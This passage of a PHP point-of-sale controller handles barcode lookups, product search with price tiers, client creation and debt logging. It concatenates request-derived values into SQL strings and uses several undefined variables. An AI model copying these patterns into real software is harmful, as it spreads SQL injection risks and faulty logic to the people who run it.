                            $arr['text'] = '';
                            $arr['productQty'] = 'undefined';
                        }
                    }
                }
            }
        } elseif ($Programsettingdata->searchBarcodeInBill == 1) {
            $arr = getProductFromSizeColorStoreDetailTableUsingParcode($parcode);
            if ($arr == -1) {
                $arr = getProductFromProductTableUsingParcode($parcode);
                if ($arr == -1) {
                    $arr = getProductFromProductUnitTableUsingParcode($recievedParcode);
                    if ($arr == -1) {
                        $arr = getProductFromProductTableUsingParcodeExcel($recievedParcode);
                        if ($arr == -1) {
                            //means no data
                            $arr['id'] = 0;
                            $arr['text'] = '';
                            $arr['productQty'] = 'undefined';
                        }
                    }
                }
            }
        }
    }
    //store quantity
    if (!empty($arr['id']) && !empty($storeId)) {
        $qData = getProoductPrice($arr['id'], $storeId);
        $arr['productQty'] = $qData[1];
    }
    //isservice
    $arr['isService'] = R::getCell('select isService from product where productId=' . $arr['id']);
    //if inventory
    $inventory = (int) $_GET['inventory'];
    $storeId = (int) $_GET['store'];
    $productId = $arr['id'];
    if ($inventory == 1 && $storeId > 0 && ($productId > 0 || strpos($productId, "hasSizeColor") !== false)) {
        //get detailid
        $queryString = ' WHERE';
        $queryStringSizeColor = '';
        $queryString .= ' if(sizecolorstoredetail.id is null , storedetail.storeid=' . $storeId . ' ,sizecolorstoredetail.storeid=' . $storeId . ') AND';
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productIdTemp = $productId = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
            $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productIdTemp, $storeId, $sizeId, $colorId);
            $queryString .= ' sizecolorstoredetail.id = ' . (int) $sizeColorStoreDetailId . ' AND';
            $queryStringSizeColor = ' AND sizeid = ' . $sizeId . ' And colorid = ' . $colorId . ' ';
        } else {

            //get product by id
            $queryString .= ' storedetail.productid = ' . $productId . ' AND';
        }

        //explode string on space character to remove last AND occurence
        $arr_QS = explode(' ', $queryString);
        if (isset($arr_QS) && count($arr_QS) > 0) {
            $lastWord = end($arr_QS);
            if ($lastWord == 'AND') { //remove it
                array_pop($arr_QS);
                //form the string again
                $queryString = implode(' ', $arr_QS);
            } else if ($lastWord == 'WHERE') { //remove it
                array_pop($arr_QS);
                $queryString = ' ';
            }
            //print("<br>".$queryString."<br>");
        }

        $storeDetails = $storeDetailExt->queryProductsInInventoryExt2NoService($queryString);
        if (count($storeDetails) > 0) {
            $storeDetails = $storeDetails[0];
            $arr['storedetailid'] = $storeDetails->storedetailid;
            $arr['sizecolorstoredetailid'] = $storeDetails->sizecolorstoredetailid;
            $arr['oldQty'] = $storeDetails->productquantity;
        }

        //get last inventory date
        $lastDate = $storeReportExt->getLastInventoryDateByProductIdAndStoreId($productId, $storeId, $queryStringSizeColor);
        $arr['lastInventoryDate'] = $lastDate;
        //////////تلوين المنتجات اللي اتعملها إعادة جرد في خلال 10 أيام سابقة.
        $today = date("Y-m-d");
        $date = date("Y-m-d", strtotime('-10 day' . $today));
        $storeReportData = $storeReportExt->getlatestInventoryProductsWithStoreId($productId, $storeId, $date, $today, $queryStringSizeColor);
        $arr['inv_status'] = 0;
        if (count($storeReportData) > 0) {
            $arr['inv_status'] = 1;
        }
    }
    echo json_encode($arr);
}

function getProductFromProductSerialTableUsingParcode($parcode)
{
    global $myProductEx;
    global $Programsettingdata;
    // select all data from product tbl
    if ($parcode[0] == 'i' && $Programsettingdata->usedParcode == 1) { //usedParcode == 1 it is id coming after i
        $productData = array();
    } else {
        if ($sellOrRetFlag == 0) { //sell get available parcode only "quantity > 0"
            $productData = $myProductEx->queryWithSerialnumberAndAvailable($parcode);
        } else { //sell get available parcode  quantity  does not matter
            $productData = $myProductEx->queryWithSerialnumberEvenIfNotAvailable($parcode);
        }
    }

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();
        if ($productData->sizeid > 0 && $productData->colorid > 0) {
            $arr['id'] = "hasSizeColor$productData->productId-$productData->sizeid-$productData->colorid";
        } else {
            $arr['id'] = $productData->productId;
        }
        //names of product's parents
        $parentId = $productData->productCatId;
        $pathArr = fetch_recursive($parentId, $categories);
        //
        $arr['text'] = $productData->productName . '/' . $pathArr;
        if ($productData->sizeName != '') {
            $arr['text'] .= "/" . $productData->sizeName;
        }
        if ($productData->colorName != '') {
            $arr['text'] .= "/" . $productData->colorName;
        }

        $arr['parcodeType'] = "serialnumber";
        $arr['productserailid'] = $productData->productserailid;

        $arr['chassisNo'] = $productData->chassisNo;
        $arr['motorNo'] = $productData->motorNo;
        $arr['theColor'] = $productData->theColor;

        $arr['productQty'] = $productData->don;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function getProductFromProductTableUsingParcode($parcode)
{
    global $myProductEx;
    global $Programsettingdata;

    if ($parcode[0] == 'i' && $Programsettingdata->usedParcode == 1) { //usedParcode == 1 it is id coming after i
        $parcode = str_replace("i", "", $parcode);
        $productData = $myProductEx->loadProduct((int) $parcode);
    } else {
        $productData = $myProductEx->queryWithParcode($parcode);
    }

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();

        if ($productData->hasSizeAndColor == 0) {
            $arr['id'] = $productData->productId;
            //names of product's parents
            $parentId = $productData->productCatId;
            $pathArr = fetch_recursive($parentId, $categories);
            //
            $arr['text'] = $productData->productName . '/' . $pathArr;
            $arr['productQty'] = 'undefined';
        } else {
            //means no data
            $arr['id'] = 0;
            $arr['text'] = '';
            $arr['productQty'] = 'undefined';
        }



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function getProductFromSizeColorStoreDetailTableUsingParcode($parcode)
{
    global $sizeColorStoreDetailEX;
    global $Programsettingdata;

    $sizeColor = $sizeColorStoreDetailEX->queryByParcodeEX($parcode);

    $arr = -1;
    if ($sizeColor->id > 0) {
        $arr = array();

        $arr['id'] = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
        $arr['text'] = $sizeColor->productName . "/" . $sizeColor->productCatName . "/" . $sizeColor->sizeName . "/" . $sizeColor->colorName;
        $arr['productQty'] = $sizeColor->quantity;



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $sizeColor->selldiscountpercent;
        $arr['sellpercenttype'] = $sizeColor->sellpercenttype;
    }
    return $arr;
}

function getProductFromProductUnitTableUsingParcode($recievedParcode)
{
    global $myProductEx;
    global $Programsettingdata;

    $productData = $myProductEx->queryWithProUnitParcode($recievedParcode);

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();

        $arr['id'] = $productData->productId;
        //names of product's parents
        $parentId = $productData->productCatId;
        $pathArr = fetch_recursive($parentId, $categories);
        //
        $arr['text'] = $productData->productName . '/' . $pathArr;
        $arr['isProUnitParcode'] = 1; //parcode is ProUnitParcode
        $arr['productunitid'] = $productData->productunitid;
        $arr['unitid'] = $productData->unitid;
        $arr['proUnitSellAllPrice'] = $productData->proUnitSellAllPrice;
        $arr['proUnitSellHalfPrice'] = $productData->proUnitSellHalfPrice;
        $arr['proUnitSellUnitPrice'] = $productData->proUnitSellUnitPrice;



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function getProductFromProductTableUsingParcodeExcel($recievedParcode)
{
    global $myProductEx;
    global $Programsettingdata;

    $productData = $myProductEx->queryWithParcodeExcel($recievedParcode);

    $arr = -1;
    if (count($productData) > 0) {
        $arr = array();

        $arr['id'] = $productData->productId;
        //names of product's parents
        $parentId = $productData->productCatId;
        $pathArr = fetch_recursive($parentId, $categories);
        //
        $arr['text'] = $productData->productName . '/' . $pathArr;



        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;

        $arr['useParcodeBalance'] = $useParcodeBalance;
        $arr['WeightPricePart'] = $WeightPricePart;
        $arr['posType'] = $posType;

        $arr['selldiscountpercent'] = $productData->selldiscountpercent;
        $arr['sellpercenttype'] = $productData->sellpercenttype;
    }
    return $arr;
}

function loadProductById($productId)
{
    global $myProductRecord;

    $arr = array();

    // select all data from product tbl
    $productData = $myProductRecord->load($productId);

    $arr['id'] = $productData->productId;
    $arr['text'] = $productData->productName;

    echo json_encode($arr);
}

function loadProductById2($productid)
{
    //to use the variable out side the funcion
    global $myProductEx;

    // load Product by id tbl
    $productData = $myProductEx->loadByProductId($productid);

    return $productData;
}

function addClient()
{
    global $myClient;
    global $myClientRecord;

    $clientName = $_POST['clientname'];
    $clientDebt = $_POST['clientdebt'];
    $clientAddress = $_POST['clientaddress'];
    $clientPhone = $_POST['clientphone'];
    $clientMobile = $_POST['clientmobile'];
    $clientDetails = $_POST['clientdetails'];

    $myClient->clientaddress = $clientAddress;
    $myClient->clientdate = date("Y-m-d");
    $myClient->clientdebt = $clientDebt;
    $myClient->clientdetails = $clientDetails;
    $myClient->clientmobile = $clientMobile;
    $myClient->clientname = $clientName;
    $myClient->clientphone = $clientPhone;
    $myClient->conditions = 0;
    $myClient->userid = $_SESSION['userid'];

    $clientId = $myClientRecord->insert($myClient);

    insertClientdebtchange($clientId, 0, $clientDebt, 0, "اضافة عميل", $clientId, $clientDebt, "clientController.php", "اضافة عميل");
}

function loadClient()
{
    global $myClientRecord;

    // select all data from client tbl
    $clientData = $myClientRecord->queryByCondition(0);
    return $clientData;
}

// insert data into Clientdebtchange tbl
function insertClientdebtchange($clientid, $clientdebtchangebefore, $clientdebtchangeamount, $clientdebtchangetype, $processname, $clientdebtchangemodelid, $clientdebtchangeafter, $tablename, $comment)
{
    global $myClientdebtchange;
    global $myClientdebtchangeRecord;

    $myClientdebtchange->clientdebtchangeafter = $clientdebtchangeafter;
    $myClientdebtchange->clientdebtchangeamount = $clientdebtchangeamount;
    $myClientdebtchange->clientdebtchangebefore = $clientdebtchangebefore;
    $myClientdebtchange->clientdebtchangedate = date("Y-m-d");
    $myClientdebtchange->clientdebtchangemodelid = $clientdebtchangemodelid;
    $myClientdebtchange->clientdebtchangetype = $clientdebtchangetype;
    $myClientdebtchange->clientid = $clientid;
    $myClientdebtchange->comment = $comment;
    $myClientdebtchange->processname = $processname;
    $myClientdebtchange->tablename = $tablename;
    $myClientdebtchange->userid = $_SESSION['userid'];

    $myClientdebtchangeRecord->insert($myClientdebtchange);
}

// select from Product tbl
function loadProductWithByName()
{
    global $myProductEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $client = (int) $_GET['suppplier'];
    $limit = $Programsettingdata->searchlimit; //(int)$_GET['page_limit'];
    if (empty($limit)) {
        $limit = 30;
    }
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];
    $controlNameSearch = (int) $_REQUEST["searchWithCatAndProductNameOnly"]; //0 search catname,proname only //1 search sizename,colorname too
    /*
      //search in xml file for products
      if (file_exists('productXML.xml')) {
      $xml = simplexml_load_file('productXML.xml');
      $product = $xml->product;
      for($i=0; $i <= count($xml); $i++)
      {
      $productPath = $product[$i]->path;
      if(strpos($productPath, $name) !== false)
      {
      //send product id and product name as something that select2 expects.
      $row_array['id'] = (string)$product[$i]->id;
      $row_array['text'] = (string)$product[$i]->path;

      array_push($return_arr,$row_array);
      }
      }

      }
     */

    /*   <option value="0">جملة</option>
      <option value="1">تجزئة</option>
      <option value="2">نصف جملة</option>
     */
    $queryString = '';
    if ($client && $Programsettingdata->addclienttoproduct == 1)
        $queryString .= ' and clientid in(0,' . $client . ')';

    if ($storeid == 0)
        $productsData = $myProductEx->queryByNameExtWithoutStoreWithoutLimit($name, $queryString, " limit $limit", $controlNameSearch);
    else
        $productsData = $myProductEx->queryByNameExtWithoutLimit2($name, $storeid, $queryString, " limit $limit", $controlNameSearch);
    if (count($productsData) > 0) {
        if ($client > 1) {
            $productStatistics = getSellStatistics($client, $productsData);
        }
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productquantity'] = $pro->productquantity;
            $row_array['weightedDiscount'] = $pro->weightedDiscount;

            $proPrice = 0;
            switch ($hiddenpricetype) {
                case 0: //جملة
                    $price = 'productSellAllPrice';
                    $proPrice = $pro->productSellAllPrice;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 1: //تجزئة
                    $price = 'productSellUnitPrice';
                    $proPrice = $pro->productSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 2: //نصف جملة
                    $price = 'productSellHalfPrice';
                    $proPrice = $pro->productSellHalfPrice;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 4:
                    $price = 'price4';
                    $proPrice = $pro->price4;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 5:
                    $price = 'price5';
                    $proPrice = $pro->price5;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 6:
                    $price = 'price6';
                    $proPrice = $pro->price6;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 7:
                    $price = 'price7';
                    $proPrice = $pro->price7;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
                case 8:
                    $price = 'price8';
                    $proPrice = $pro->price8;
                    if ($Programsettingdata->useListPrice == 1) {
                        $proPrice = $proPrice + (($proPrice * $pro->buytotal) / 100);
                    }
                    break;
            }


            $row_array['price'] = $proPrice;

            $row_array['sellStat'] = $productStatistics[$row_array['id']];
            if ($Programsettingdata->showBuyPriceAtProductddl == 1)
                $row_array['lastbuyprice'] = $pro->lastbuyprice;
            $row_array['buyprice'] = $pro->lastbuyprice;
            $row_array['isService'] = $pro->isService;
            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }


    //echo $return_arr;
    echo json_encode($return_arr);
}

function loadProductWithByName2()
{
    global $myProductEx;
    global $myBillsettingEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $catid = (int) $_REQUEST["catid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];
    $newProductOption = (int) $_REQUEST["newProductOption"];
    /*
      //search in xml file for products
      if (file_exists('productXML.xml')) {
      $xml = simplexml_load_file('productXML.xml');
      $product = $xml->product;
      for($i=0; $i <= count($xml); $i++)
      {
      $productPath = $product[$i]->path;
      if(strpos($productPath, $name) !== false)
      {
      //send product id and product name as something that select2 expects.
      $row_array['id'] = (string)$product[$i]->id;
      $row_array['text'] = (string)$product[$i]->path;

      array_push($return_arr,$row_array);
      }
      }

      }
     */

    /*   <option value="0">جملة</option>
      <option value="1">تجزئة</option>
      <option value="2">نصف جملة</option>
     */

    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    $queryString = '';
    if ($catid > 0 || $catid == -1) { //as in case of -1 i want stop getting products
        $queryString .= " and product.productCatId= $catid ";
    }
    $productsData = $myProductEx->queryByNameExtWithoutLimit($name, $queryString, $controlNameSearch);
    if ($newProductOption == 1) {
        $row_array['id'] = '-1';
        $row_array['text'] .= 'منتج جديد';
        array_push($return_arr, $row_array);
    }
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function loadProductWithByName2deleted()
{
    global $myProductEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];


    /*   <option value="0">جملة</option>
      <option value="1">تجزئة</option>
      <option value="2">نصف جملة</option>
     */



    $productsData = $myProductEx->queryByNameExtWithoutLimitdeleted($name);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function getFinalProducts()
{
    global $myProductEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];

    $productsData = $myProductEx->GetFinalProduct($name);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }


            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function GetRawMaterials()
{
    global $myProductEx;
    global $simplesettingDao;
    global $myBillsettingEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = $Programsettingdata->searchlimit; //intval($_GET['page_limit']);
    if (empty($limit)) {
        $limit = 30;
    }
    $storeid = (isset($_REQUEST["storeid"]) && !empty($_REQUEST["storeid"])) ? $_REQUEST["storeid"] : 1;
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];
    $notRawMaterialsOnly = (int) $_REQUEST["notRawMaterialsOnly"];
    $simplesetting = $simplesettingDao->load(1);
    $url = "productController.php?do=addCollectiveProduct"; //اضافة منتج تجميعي
    if ($notRawMaterialsOnly == 1) {
        $queryString = "";
    } elseif ($notRawMaterialsOnly == 0) {
        $queryString = " AND product.type = 1 ";
    }

    if ($url) {
        $queryString = "";
    } elseif ($simplesetting->productsproductionequation == 1) {
        $queryString = "";
    } elseif ($simplesetting->productsproductionequation == 0) {
        $queryString = " AND product.type = 1 ";
    }


    ###################
    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    $productsData = $myProductEx->queryByNameExtWithoutLimit2($name, $storeid, $queryString, " limit $limit", $controlNameSearch);
    //$productsData = $myProductEx->GetRawMaterials($name, $queryString);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productquantity'] = $pro->productquantity;
            $row_array['weightedDiscount'] = $pro->weightedDiscount;
            $row_array['productBuyPrice'] = $pro->productBuyPrice;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function getFinalProductsWithProductionRate()
{
    global $myProductEx;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    $storeid = $_REQUEST["storeid"];
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];

    $productsData = $myProductEx->getFinalProductsWithProductionRate($name);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            $row_array['text'] = $pro->productName . '/' . $pathArr;


            $row_array['productquantity'] = $pro->productquantity;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

//
function getFinalProductsWithOutProductionRate()
{
    global $myProductEx;
    global $myBillsettingEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = $Programsettingdata->searchlimit; //intval($_GET['page_limit']);
    if (empty($limit)) {
        $limit = 30;
    }
    $storeid = (isset($_REQUEST["storeid"]) && !empty($_REQUEST["storeid"])) ? $_REQUEST["storeid"] : 1;
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];

    ###################
    $queryString = '';
    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    $productsData = $myProductEx->getFinalProductsWithOutProductionRateSC($name, $storeid, $queryString, " limit $limit", $controlNameSearch);
    //$productsData = $myProductEx->getFinalProductsWithOutProductionRate($name);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productquantity'] = $pro->productquantity;
            $row_array['weightedDiscount'] = $pro->weightedDiscount;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function fetch_recursive($parentid, $categories)
{
    global $myProductcatEx;
    //print($parentid."<br>");
    $catData = $myProductcatEx->getCategoryAndParentByCatId($parentid);
    //print_r($catData);
    if (count($catData) > 0) {
        $categories .= $catData->productCatName . '/';
        $newParentId = $catData->productCatParent;

        //if($newParentId != 0 && isset($newParentId))
        {
            //$newParentName = $catData->parentName;
            //$categories .= $newParentName.'/';
            return fetch_recursive($newParentId, $categories);
        }
    }
    $categories = substr($categories, 0, strlen($categories) - 1);
    return $categories;
}

// select from Product tbl
function getProductsbyandstor($storeid)
{
    global $myProductEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);

    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimit($name, $storeid);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (isset($pro->sizeid) && $pro->sizeid > 0 && isset($pro->colorid) && $pro->colorid > 0) {
